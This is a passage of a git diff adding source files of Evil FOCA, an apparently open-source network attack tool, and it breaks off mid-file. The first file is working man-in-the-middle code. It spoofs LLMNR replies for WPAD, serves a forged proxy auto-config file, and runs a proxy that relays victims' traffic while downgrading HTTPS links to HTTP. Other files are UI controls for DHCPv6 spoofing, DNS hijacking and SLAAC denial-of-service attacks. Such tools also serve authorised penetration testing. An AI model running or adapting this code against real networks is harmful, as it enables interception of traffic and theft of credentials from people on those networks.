+the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using evilfoca.HTTP; +using PacketDotNet; +using SharpPcap.WinPcap; +using System; +using System.IO; +using System.Net; +using System.Net.NetworkInformation; +using System.Text; + + +namespace evilfoca.Attacks +{ + public class WpadIPv6Attack + { + private const int proxyPort = 61638; + private const int maxLength = 1300; + private HttpListener httpListener; + + private static object locker = new object(); + private static object getterLocker = new object(); + private static WpadIPv6Attack _instance; + public static WpadIPv6Attack Instance + { + get + { + if (_instance == null) + { + lock (getterLocker) + { + if (_instance == null) + _instance = new WpadIPv6Attack(); + } + } + return _instance; + } + } + + private WpadIPv6Attack() + { + CreateProxyListener(); + } + + + public void GenerateLLMNRResponse(Packet packet) + { + try + { + LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket(); + llmnr.ParsePacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData); + if (llmnr.Query.Name.ToLower().Equals("wpad") && (llmnr.Query.Type.Value == LLMNR.DNSType.AAAA || llmnr.Query.Type.Value == LLMNR.DNSType.A)) + { + + WinPcapDevice dev = Program.CurrentProject.data.GetDevice(); + IPAddress ip = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(dev); + byte[] ipv6Addr = ip.GetAddressBytes(); + + llmnr.AnswerList.Add(new LLMNR.DNSAnswer() + { + Class = evilfoca.LLMNR.DNSClass.IN, + Name = llmnr.Query.Name, + Type = evilfoca.LLMNR.DNSType.AAAA, + RData = ipv6Addr, + RDLength = (short)ipv6Addr.Length, + TTL = 12 + }); + llmnr.IsResponse = true; + + + EthernetPacket ethDns = new EthernetPacket(dev.MacAddress, ((EthernetPacket)packet).SourceHwAddress, EthernetPacketType.IpV6); + IPv6Packet ipv6Dns = new IPv6Packet(ip, ((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress); + UdpPacket udpDns = new UdpPacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort, ((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort); + + udpDns.PayloadData = llmnr.BuildPacket(); + + ipv6Dns.PayloadPacket = udpDns; + + + udpDns.UpdateCalculatedValues(); + udpDns.UpdateUDPChecksum(); + + ipv6Dns.UpdateCalculatedValues(); + ethDns.PayloadPacket = ipv6Dns; + Program.CurrentProject.data.SendPacket(ethDns); + } + } + catch (Exception) + { + } + } + + public void SendWpadFile(Packet packet) + { + lock (locker) + { + if (packet is EthernetPacket) + { + EthernetPacket ethPacket = packet as EthernetPacket; + IPv6Packet ipv6Source = (IPv6Packet)packet.PayloadPacket; + + if (ipv6Source.PayloadPacket is PacketDotNet.TcpPacket) + { + TcpPacket tcp = ipv6Source.PayloadPacket as TcpPacket; + string element = string.Format("{0}/{1}", tcp.SequenceNumber, tcp.AcknowledgmentNumber); + + + ushort destPort = tcp.SourcePort; + ushort sourcePort = tcp.DestinationPort; + IPAddress destAddress = ipv6Source.SourceAddress; + IPAddress sourceAddress = ipv6Source.DestinationAddress; + PhysicalAddress sourceMac = Program.CurrentProject.data.GetDevice().MacAddress; + PhysicalAddress destMac = ethPacket.SourceHwAddress; + + tcp.SourcePort = sourcePort; + tcp.DestinationPort = destPort; + + if (tcp.Syn && !tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0 && sourcePort == 80) + { + tcp.Ack = true; + tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1; + tcp.SequenceNumber = tcp.SequenceNumber + 38; + tcp.WindowSize = 14600; + + IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress); + ipv6Ack.PayloadPacket = tcp; + + EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6); + + eth.PayloadPacket = ipv6Ack; + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + else if (!tcp.Syn && tcp.Ack && tcp.PayloadData != null && !tcp.Rst && tcp.PayloadData.Length > 0 && sourcePort == 80) + { + if (Data.Data.WpadReqList.Contains(element)) + return; + + Data.Data.WpadReqList.Add(element); + HttpPacket http = new HttpPacket(((TcpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData); + if (http.FullUrlRequest.Contains("wpad.dat")) + { + tcp.Psh = true; + tcp.Fin = true; + tcp.Ack = true; + tcp.SequenceNumber = (ipv6Source.PayloadPacket as TcpPacket).AcknowledgmentNumber; + tcp.AcknowledgmentNumber = tcp.SequenceNumber; + string jsFunction = string.Format("function FindProxyForURL(url, host){{return \"PROXY [{0}]:{1}\";}}", ipv6Source.DestinationAddress.ToString(), proxyPort); + string htmlHeader = string.Format("HTTP/1.1 200 OK\r\nContent-Type: application/x-ns-proxy-autoconfig\r\nContent-Length: {0}\r\n\r\n", jsFunction.Length); + tcp.PayloadData = System.Text.Encoding.UTF8.GetBytes(string.Concat(htmlHeader, jsFunction)); + + + EthernetPacket eth = new EthernetPacket(ethPacket.DestinationHwAddress, ethPacket.SourceHwAddress, EthernetPacketType.IpV6); + IPv6Packet ip6 = new IPv6Packet(ipv6Source.DestinationAddress, ipv6Source.SourceAddress); + ip6.PayloadPacket = tcp; + + eth.PayloadPacket = ip6; + + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + } + else if (tcp.Fin && tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0) + { + tcp.Ack = true; + tcp.Fin = false; + uint ackOrg = tcp.AcknowledgmentNumber; + tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1; + tcp.SequenceNumber = ackOrg; + tcp.WindowSize = 1400; + + IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress); + ipv6Ack.PayloadPacket = tcp; + EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6); + eth.PayloadPacket = ipv6Ack; + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + } + } + } + } + + private void CreateProxyListener() + { + try + { + if (HttpListener.IsSupported) + { + httpListener = new HttpListener(); + httpListener.Prefixes.Add(string.Format("http://*:{0}/", proxyPort)); + httpListener.Start(); + httpListener.BeginGetContext(HttpRequestReceived, null); + Program.LogThis(string.Format("Proxy up on port {0}", proxyPort), Logs.Log.LogType.WpadIPv6); + } + else + Program.LogThis("Your OS does not support HttpListener", Logs.Log.LogType.WpadIPv6); + } + catch (Exception e) + { + Program.LogThis(string.Format("Cannot create Proxy on port {0}. Error: {1}", proxyPort, e.Message), Logs.Log.LogType.WpadIPv6); + } + + } + + private void HttpRequestReceived(IAsyncResult result) + { + HttpListenerResponse response = null; + try + { + + HttpListenerContext context = httpListener.EndGetContext(result); + HttpListenerRequest request = context.Request; + Program.LogThis(string.Format("Request from {0}", request.RemoteEndPoint.Address.ToString()), Logs.Log.LogType.WpadIPv6); + response = context.Response; + + if (request.Url.Host.Contains("google") && request.Url.PathAndQuery.Contains("/xjs/_/js/")) + throw new WebException("", null, WebExceptionStatus.UnknownError, null); + + HttpWebRequest evilReq = HttpUtils.CreateWebRequest(request); + HttpWebResponse evilResponse = evilReq.GetResponse() as HttpWebResponse; + + if ((evilResponse.StatusCode == HttpStatusCode.Redirect || evilResponse.StatusCode == HttpStatusCode.Moved || evilResponse.StatusCode == HttpStatusCode.Found) + && !string.IsNullOrEmpty(evilResponse.Headers[HttpResponseHeader.Location]) + && evilResponse.Headers[HttpResponseHeader.Location].Equals(evilReq.RequestUri.ToString().Replace("http://", "https://"))) + { + evilReq = HttpUtils.CreateWebRequest(request, new Uri(evilResponse.Headers[HttpResponseHeader.Location])); + evilResponse = evilReq.GetResponse() as HttpWebResponse; + } + + HttpUtils.CreateListenerResponse(evilResponse, ref response); + + using (System.IO.Stream output = response.OutputStream) + { + using (BinaryReader reader = new BinaryReader(evilResponse.GetResponseStream())) + { + int bytesRead; + byte[] buffer = new byte[maxLength]; + Encoding responseEncoding = null; + while ((bytesRead = reader.Read(buffer, 0, buffer.Length)) > 0) + { + Array.Resize(ref buffer, bytesRead); + if (evilResponse.ContentType.ToLower().Contains("html") || evilResponse.ContentType.ToLower().Contains("javascript") || evilResponse.ContentType.ToLower().Contains("json")) + { + if (responseEncoding == null) + responseEncoding = GetResponseEncoding(evilResponse.CharacterSet); + string htmlContent = responseEncoding.GetString(buffer); + htmlContent = htmlContent.Replace("https", "http").Replace("Https", "http"); + + byte[] htmlBytes = responseEncoding.GetBytes(htmlContent); + + output.Write(htmlBytes, 0, htmlBytes.Length); + } + else + output.Write(buffer, 0, buffer.Length); + + buffer = new byte[maxLength]; + } + } + } + evilResponse.Close(); + + } + catch (WebException) + { + if (response != null) + { + response.StatusCode = 404; + response.ContentLength64 = 0; + } + } + catch (Exception) + { } + finally + { + if (response != null) + response.Close(); + httpListener.BeginGetContext(HttpRequestReceived, null); + } + + + } + + private static Encoding GetResponseEncoding(string encodingValue) + { + Encoding enc; + try + { + enc = Encoding.GetEncoding(encodingValue); + } + catch (ArgumentException) + { + switch (encodingValue) + { + case "cp1252": + enc = Encoding.GetEncoding("Windows-1252"); + break; + case "utf8": + enc = Encoding.UTF8; + break; + default: + enc = Encoding.UTF8; + break; + } + } + + + return enc; + } + } +} diff --git a/EvilFoca/BufferedTreeView.cs b/EvilFoca/BufferedTreeView.cs new file mode 100644 index 0000000..52d2523 --- /dev/null +++ b/EvilFoca/BufferedTreeView.cs @@ -0,0 +1,43 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca +{ + class BufferedTreeView : TreeView + { + protected override void OnHandleCreated(EventArgs e) + { + int style = (int)SendMessage(this.Handle, TVM_GETEXTENDEDSTYLE, IntPtr.Zero, IntPtr.Zero); + style |= TVS_EX_DOUBLEBUFFER; + SendMessage(this.Handle, TVM_SETEXTENDEDSTYLE, this.Handle, (IntPtr)style); + base.OnHandleCreated(e); + } + // Pinvoke: + private const int TVM_SETEXTENDEDSTYLE = 0x1100 + 44; + private const int TVM_GETEXTENDEDSTYLE = 0x1100 + 45; + private const int TVS_EX_DOUBLEBUFFER = 0x0004; + [DllImport("user32.dll")] + private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wp, IntPtr lp); + } +} diff --git a/EvilFoca/ControlDHCPv6.Designer.cs b/EvilFoca/ControlDHCPv6.Designer.cs new file mode 100644 index 0000000..960844d --- /dev/null +++ b/EvilFoca/ControlDHCPv6.Designer.cs @@ -0,0 +1,111 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class ControlDHCPv6 + { + /// + /// Variable del diseñador requerida. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Limpiar los recursos que se estén utilizando. + /// + /// true si los recursos administrados se deben eliminar; false en caso contrario, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Código generado por el Diseñador de componentes + + /// + /// Método necesario para admitir el Diseñador. No se puede modificar + /// el contenido del método con el editor de código. + /// + private void InitializeComponent() + { + this.lblDns = new System.Windows.Forms.Label(); + this.lblIpRange = new System.Windows.Forms.Label(); + this.lblIpRangeValue = new System.Windows.Forms.Label(); + this.lblDnsValue = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // lblDns + // + this.lblDns.AutoSize = true; + this.lblDns.Location = new System.Drawing.Point(3, 3); + this.lblDns.Name = "lblDns"; + this.lblDns.Size = new System.Drawing.Size(33, 13); + this.lblDns.TabIndex = 0; + this.lblDns.Text = "DNS:"; + // + // lblIpRange + // + this.lblIpRange.AutoSize = true; + this.lblIpRange.Location = new System.Drawing.Point(3, 22); + this.lblIpRange.Name = "lblIpRange"; + this.lblIpRange.Size = new System.Drawing.Size(55, 13); + this.lblIpRange.TabIndex = 1; + this.lblIpRange.Text = "IP Range:"; + // + // lblIpRangeValue + // + this.lblIpRangeValue.AutoSize = true; + this.lblIpRangeValue.Location = new System.Drawing.Point(64, 22); + this.lblIpRangeValue.Name = "lblIpRangeValue"; + this.lblIpRangeValue.Size = new System.Drawing.Size(0, 13); + this.lblIpRangeValue.TabIndex = 2; + // + // lblDnsValue + // + this.lblDnsValue.AutoSize = true; + this.lblDnsValue.Location = new System.Drawing.Point(64, 3); + this.lblDnsValue.Name = "lblDnsValue"; + this.lblDnsValue.Size = new System.Drawing.Size(0, 13); + this.lblDnsValue.TabIndex = 3; + // + // controlDHCPv6 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.lblDnsValue); + this.Controls.Add(this.lblIpRangeValue); + this.Controls.Add(this.lblIpRange); + this.Controls.Add(this.lblDns); + this.Name = "controlDHCPv6"; + this.Size = new System.Drawing.Size(310, 40); + this.Load += new System.EventHandler(this.controlDHCPv6_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label lblDns; + private System.Windows.Forms.Label lblIpRange; + private System.Windows.Forms.Label lblIpRangeValue; + private System.Windows.Forms.Label lblDnsValue; + } +} diff --git a/EvilFoca/ControlDHCPv6.cs b/EvilFoca/ControlDHCPv6.cs new file mode 100644 index 0000000..15e29f4 --- /dev/null +++ b/EvilFoca/ControlDHCPv6.cs @@ -0,0 +1,40 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Windows.Forms; +using evilfoca.Data; + +namespace evilfoca +{ + public partial class ControlDHCPv6 : UserControl + { + Attack attack; + public ControlDHCPv6(Attack attack) + { + this.attack = attack; + InitializeComponent(); + } + + private void controlDHCPv6_Load(object sender, EventArgs e) + { + lblDnsValue.Text = ((DhcpIPv6)attack).fakeDns.ToString(); + lblIpRangeValue.Text = ((DhcpIPv6)attack).fakeIPRange.ToString(); + } + + } +} diff --git a/EvilFoca/ControlDHCPv6.resx b/EvilFoca/ControlDHCPv6.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlDHCPv6.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlDNSHijacking.Designer.cs b/EvilFoca/ControlDNSHijacking.Designer.cs new file mode 100644 index 0000000..297f480 --- /dev/null +++ b/EvilFoca/ControlDNSHijacking.Designer.cs @@ -0,0 +1,124 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class ControlDNSHijacking + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.lbDomain = new System.Windows.Forms.Label(); + this.lbIp = new System.Windows.Forms.Label(); + this.lbSpoofs = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(3, 3); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(46, 13); + this.label1.TabIndex = 0; + this.label1.Text = "Domain:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(3, 20); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(63, 13); + this.label2.TabIndex = 1; + this.label2.Text = "Resolve as:"; + // + // lbDomain + // + this.lbDomain.AutoSize = true; + this.lbDomain.Location = new System.Drawing.Point(55, 3); + this.lbDomain.Name = "lbDomain"; + this.lbDomain.Size = new System.Drawing.Size(25, 13); + this.lbDomain.TabIndex = 2; + this.lbDomain.Text = " "; + // + // lbIp + // + this.lbIp.AutoSize = true; + this.lbIp.Location = new System.Drawing.Point(72, 20); + this.lbIp.Name = "lbIp"; + this.lbIp.Size = new System.Drawing.Size(31, 13); + this.lbIp.TabIndex = 3; + this.lbIp.Text = " "; + // + // lbSpoofs + // + this.lbSpoofs.Location = new System.Drawing.Point(210, 0); + this.lbSpoofs.Name = "lbSpoofs"; + this.lbSpoofs.Size = new System.Drawing.Size(100, 23); + this.lbSpoofs.TabIndex = 4; + this.lbSpoofs.Text = "Spoofs: 0"; + this.lbSpoofs.TextAlign = System.Drawing.ContentAlignment.TopRight; + // + // controlDNSHijacking + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.lbSpoofs); + this.Controls.Add(this.lbIp); + this.Controls.Add(this.lbDomain); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "controlDNSHijacking"; + this.Size = new System.Drawing.Size(310, 40); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label lbDomain; + private System.Windows.Forms.Label lbIp; + private System.Windows.Forms.Label lbSpoofs; + } +} diff --git a/EvilFoca/ControlDNSHijacking.cs b/EvilFoca/ControlDNSHijacking.cs new file mode 100644 index 0000000..8100704 --- /dev/null +++ b/EvilFoca/ControlDNSHijacking.cs @@ -0,0 +1,49 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using evilfoca.Data; + +namespace evilfoca +{ + public partial class ControlDNSHijacking : UserControl + { + Attack attack; + + public ControlDNSHijacking(Attack attack) + { + this.attack = attack; + InitializeComponent(); + } + + public void UpdateData() + { + DNSHijackAttack dnsAttack = (DNSHijackAttack)attack; + + lbDomain.Text = dnsAttack.domain; + lbIp.Text = dnsAttack.ip.ToString(); + lbSpoofs.Text = "Spoofs: " + dnsAttack.spoofsAttacks.ToString(); + } + } +} diff --git a/EvilFoca/ControlDNSHijacking.resx b/EvilFoca/ControlDNSHijacking.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlDNSHijacking.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlDosSlaac.Designer.cs b/EvilFoca/ControlDosSlaac.Designer.cs new file mode 100644 index 0000000..a8504d9 --- /dev/null +++ b/EvilFoca/ControlDosSlaac.Designer.cs @@ -0,0 +1,77 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class ControlDosSlaac + { + /// + /// Variable del diseñador requerida. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Limpiar los recursos que se estén utilizando. + /// + /// true si los recursos administrados se deben eliminar; false en caso contrario, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Código generado por el Diseñador de componentes + + /// + /// Método necesario para admitir el Diseñador. No se puede modificar + /// el contenido del método con el editor de código. + /// + private void InitializeComponent() + { + this.lbInfo = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // lbInfo + // + this.lbInfo.AutoSize = true; + this.lbInfo.Location = new System.Drawing.Point(12, 12); + this.lbInfo.Name = "lbInfo"; + this.lbInfo.Size = new System.Drawing.Size(41, 13); + this.lbInfo.TabIndex = 1; + this.lbInfo.Text = "Target:"; + // + // ControlDosSlaac + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.lbInfo); + this.Name = "ControlDosSlaac"; + this.Size = new System.Drawing.Size(310, 40); + this.Load += new System.EventHandler(this.ControlDosSlaac_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label lbInfo; + } +} diff --git a/EvilFoca/ControlDosSlaac.cs b/EvilFoca/ControlDosSlaac.cs new file mode 100644 index 0000000..f83030c --- /dev/null +++ b/EvilFoca/ControlDosSlaac.cs @@ -0,0 +1,45 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using evilfoca.Data; + +namespace evilfoca +{ + public partial class ControlDosSlaac : UserControl + { + Attack attack; + public ControlDosSlaac(Attack attack) + { + InitializeComponent(); + this.attack = attack; + } + + private void ControlDosSlaac_Load(object sender, EventArgs e) + { + DoSSLAACAttack dosAttack = (DoSSLAACAttack)attack; + lbInfo.Text = string.Format("Target: {0}", dosAttack.t1.ip); + } + } +} diff --git a/EvilFoca/ControlDosSlaac.resx b/EvilFoca/ControlDosSlaac.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlDosSlaac.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/ControlHelp.Designer.cs b/EvilFoca/ControlHelp/ControlHelp.Designer.cs new file mode 100644 index 0000000..e2116a1 --- /dev/null +++ b/EvilFoca/ControlHelp/ControlHelp.Designer.cs @@ -0,0 +1,102 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp +{ + partial class ControlHelp + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.Displayer = new System.Windows.Forms.Panel(); + this.cbHide = new System.Windows.Forms.CheckBox(); + this.Displayer.SuspendLayout(); + this.SuspendLayout(); + // + // Displayer + // + this.Displayer.BackColor = System.Drawing.SystemColors.ControlLight; + this.Displayer.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.Displayer.Controls.Add(this.cbHide); + this.Displayer.Dock = System.Windows.Forms.DockStyle.Fill; + this.Displayer.Font = new System.Drawing.Font("Arial", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Displayer.Location = new System.Drawing.Point(0, 0); + this.Displayer.Margin = new System.Windows.Forms.Padding(0); + this.Displayer.Name = "Displayer"; + this.Displayer.Size = new System.Drawing.Size(242, 268); + this.Displayer.TabIndex = 0; + // + // cbHide + // + this.cbHide.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.cbHide.Appearance = System.Windows.Forms.Appearance.Button; + this.cbHide.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.cbHide.Font = new System.Drawing.Font("Perpetua", 6F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.cbHide.Location = new System.Drawing.Point(-1, -1); + this.cbHide.Margin = new System.Windows.Forms.Padding(0); + this.cbHide.Name = "cbHide"; + this.cbHide.Size = new System.Drawing.Size(20, 269); + this.cbHide.TabIndex = 0; + this.cbHide.Text = ">\r\n\r\n\r\n>\r\n\r\n\r\n>\r\n\r\n\r\n>"; + this.cbHide.UseVisualStyleBackColor = true; + this.cbHide.Visible = false; + this.cbHide.CheckedChanged += new System.EventHandler(this.cbHide_CheckedChanged); + // + // ControlHelp + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.Displayer); + this.Name = "ControlHelp"; + this.Size = new System.Drawing.Size(242, 268); + this.Load += new System.EventHandler(this.ControlHelp_Load); + this.Displayer.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel Displayer; + private System.Windows.Forms.CheckBox cbHide; + + } +} diff --git a/EvilFoca/ControlHelp/ControlHelp.cs b/EvilFoca/ControlHelp/ControlHelp.cs new file mode 100644 index 0000000..7f8dfe5 --- /dev/null +++ b/EvilFoca/ControlHelp/ControlHelp.cs @@ -0,0 +1,81 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using evilfoca.ControlHelp; + +namespace evilfoca.ControlHelp +{ + public partial class ControlHelp : UserControl + { + int 